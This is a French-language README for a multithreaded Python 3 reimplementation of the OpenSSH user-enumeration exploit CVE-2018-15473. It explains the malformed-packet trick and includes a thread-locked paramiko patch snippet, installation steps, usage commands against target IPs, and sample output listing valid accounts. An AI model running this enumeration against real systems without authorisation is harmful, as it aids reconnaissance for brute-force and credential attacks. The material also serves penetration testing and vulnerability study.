
Une réimplémentation en Python 3 de l'exploit classique d'énumération d'utilisateurs OpenSSH CVE-2018-15473, étendue avec le multithreading, la prise en charge des wordlists, la détection automatique des vulnérabilités et l'application de correctifs d'exploit thread-safe.
Une réimplémentation en Python 3 de l'exploit classique d'énumération d'utilisateurs OpenSSH CVE-2018-15473, enrichie avec le multithreading, la prise en charge de listes de mots, la détection automatique de vulnérabilité et un patch d'exploit sûr pour les threads.
CVE-2018-15473 est une vulnérabilité d'énumération d'utilisateurs affectant les versions d'OpenSSH 2.3 à 7.7.
La vulnérabilité provient d'une différence subtile dans la façon dont le serveur OpenSSH répond aux tentatives d'authentification pour les noms d'utilisateur valides par rapport aux invalides. En forgeant un paquet d'authentification par clé publique malformé, un attaquant peut observer le comportement du serveur et déterminer si un nom d'utilisateur donné existe sur le système — sans avoir besoin de connaître le mot de passe de l'utilisateur.
Cette information peut constituer une première étape critique dans une attaque ciblée par force brute ou par bourrage d'identifiants.
| Détail | Valeur |
|---|---|
| ID CVE | CVE-2018-15473 |
| Versions affectées | OpenSSH 2.3 – 7.7 |
| Score CVSS | 5.3 (Moyenne) |
Le flux d'authentification d'OpenSSH fonctionne normalement comme suit :
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
L'exploit abuse de l'étape MSG_SERVICE_ACCEPT. Lorsque le serveur renvoie un MSG_SERVICE_ACCEPT, le client est censé ajouter un champ booléen au paquet MSG_USERAUTH_REQUEST suivant. En patchant la méthode Message.add_boolean de paramiko pour qu'elle devienne une no-op, l'outil envoie un paquet d'authentification malformé/tronqué.
Le serveur OpenSSH se comporte alors différemment selon que le nom d'utilisateur existe :
MSG_USERAUTH_FAILURE (le nom d'utilisateur n'existe pas, inutile de vérifier la clé)AuthenticationException (il a tenté de vérifier la clé, confirmant que l'utilisateur existe)Cet outil intercepte ces deux réponses via des gestionnaires paramiko patchés (_parse_userauth_failure et _parse_service_accept) et classe chaque nom d'utilisateur en conséquence.
Le PoC d'origine patch add_boolean de façon permanente, ce qui provoque une condition de concurrence lorsque plusieurs threads s'exécutent simultanément — les threads interfèrent avec leurs poignées de main respectives, produisant de fausses erreurs SSH negotiation failed. Cette réimplémentation encapsule le patch dans un threading.Lock(), rendant l'échange atomique :
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap pour vérifier que la cible exécute une version vulnérable d'OpenSSH avant l'analyseparamikopython-nmapnmap (binaire système, doit être installé)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
Assurez-vous que nmap est installé sur votre système :
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Vérifier un nom d'utilisateur unique :
python main.py 192.168.1.10 -u root
Énumérer une liste de mots avec les threads par défaut :
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Énumérer avec un nombre de threads et un port personnalisés :
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Exemple de sortie :
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Cet outil est une réimplémentation en Python 3 et une extension du proof-of-concept original. Le crédit complet pour la découverte et la documentation de cette vulnérabilité revient aux chercheurs originaux :
Exploit original : https://leapsecurity.io
Cette réimplémentation ajoute :
Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés.
Utiliser cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégal et contraire à l'éthique.
L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce logiciel.
Pratiquez toujours une divulgation responsable.
| Type | Divulgation d'informations / Énumération d'utilisateurs |
| Authentification requise | Non |
| Rôle | Nom / Pseudo |
|---|
| Auteur du PoC original | Leap Security (@LeapSecurity) |
| Recherche sur la vulnérabilité | Matthew Daley |
| Recherche sur la vulnérabilité | Justin Gardner |
| Recherche sur la vulnérabilité | Lee David Painter |